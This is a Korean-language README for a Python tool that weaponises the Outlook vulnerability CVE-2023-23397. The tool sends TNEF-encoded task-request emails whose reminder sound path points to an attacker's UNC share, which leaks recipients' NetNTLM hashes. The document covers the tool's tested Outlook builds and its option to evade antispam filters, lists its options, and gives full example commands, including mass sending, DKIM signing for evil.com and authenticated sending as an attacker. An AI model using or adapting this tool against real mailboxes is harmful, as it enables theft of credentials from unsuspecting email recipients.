
SMTP를 사용하여 CVE-2023-23397 페이로드가 포함된 이메일을 전송하는 Python 스크립트
이 스크립트는 CVE-2023-23397 익스플로이트 페이로드가 포함된 TNEF 인코딩 Outlook 이메일을 생성하고 순수 SMTP를 통해 전송할 수 있습니다. COM 개체나 EWS가 필요하지 않습니다.
IPM.Schedule.Meeting.Request 메시지 클래스가 제대로 작동하지 않아 (회의와 알림을 생성하지만 어떤 이유로 PidLidReminderOverride 속성을 준수하지 않음) 대신 스크립트는 IPM.TaskRequest 클래스를 악용합니다. 그 결과 원래 익스플로이트와 마찬가지로 악성 회의 알림 팝업이 나타나지만, 수신자는 메시지 본문이나 회의 세부 정보를 볼 수 없습니다. 그러나 OWA에서는 이메일이 약속 없이 일반 메시지처럼 보입니다.
Outlook365 16130.20218 및 Outlook 2019 10395.20020에서 테스트되었습니다. 외부로 이메일을 보낼 때 TNEF 첨부 파일과 헤더가 안티스팸 필터를 통과하지 못할 수 있습니다. 동일 LAN에 있는 Linux 머신에서 Exchange로 직접 (또는 Postfix 릴레이를 통해) 이메일을 보내는 방법으로만 테스트했습니다.
options:
-h, --help show this help message and exit
-s SERVER, --server SERVER
smtp mail relay (host[:port]), default: localhost:25
-f SENDER, --from SENDER
sender email address
-t TO, --to TO recipient email address(es), path to a file or comma-separated values
-S SUBJECT, --subject SUBJECT
message subject
-r ROOM, --room ROOM meeting location (room name), default: Meeting Room #1
-b BODY, --body BODY plaintext message body (or path to file)
--html HTML HTML message body (or path to file)
-p PATH, --path PATH remote file path for NetNTLM exfiltration, e.g \\10.10.10.10\share\1.wav
-a AUTH, --auth AUTH username:password for AUTH command if authenticated send is required
--codepage CODEPAGE windows codepage (e.g. 1252=ASCII, 65001=Unicode) to encode HTML body (if any), default: 1252
--ehlo EHLO, --helo EHLO
EHLO command argument (sender external hostname)
-l LANG, --lang LANG Content-Language header value, default: en-US
--starttls Use STARTTLS when communicating over plaintext SMTP
--max-rcpts MAX_RCPTS
Maximum number of recipients per send attempt
-v Enable debug output
DKIM message signing:
--dkim-selector DKIM_SELECTOR
DKIM selector
--dkim-key DKIM_KEY DKIM private key file path
--dkim-domain DKIM_DOMAIN
DKIM domain name, default: sender address part after @
[email protected]에서 [email protected]으로 이메일 보내기:
python3 cve-2023-23397.py -s localhost:25 -p '\\xx.xx.xx.xx\share\1.wav' -f [email protected] -t [email protected] -S 'Test meeting' -b 'This is a test meeting, please ignore it.'
기회적 TLS와 파일의 HTML 본문을 사용하여 여러 수신자에게 이메일 보내기:
python3 cve-2023-23397.py -s mail.example.com:25 -p '\\xx.xx.xx.xx\share\1.wav' -f [email protected] -t [email protected],[email protected] -S 'Test meeting' -b 'This is a test meeting, please ignore it.' --html ./body.html --starttls
DKIM 서명(pip install dkimpy 필요)과 EHLO 명령의 사용자 정의 도메인을 사용하여 파일에서 로드된 수신자에게 메시지당 세 명의 수신자로 이메일 보내기:
python3 cve-2023-23397.py -s mail.example.com:25 -p '\\xx.xx.xx.xx\share\1.wav' -f [email protected] -t ./recipients.txt -S 'Test Meeting' -b 'This is a test meeting, please ignore it.' --html ./body.html --starttls --max-rcpts 3 --dkim-key ./dkim.private --dkim-domain evil.com --dkim-selector default --ehlo mail.evil.com
도메인 자격 증명으로 이메일 보내기:
python3 cve-2023-23397.py -s mail.example.com:587 --auth 'EXAMPLE\attacker:12345678' -p '\\xx.xx.xx.xx\share\1.wav' -f [email protected] -t [email protected] -S 'Test meeting' -b 'This is a test meeting, please ignore it.' --starttls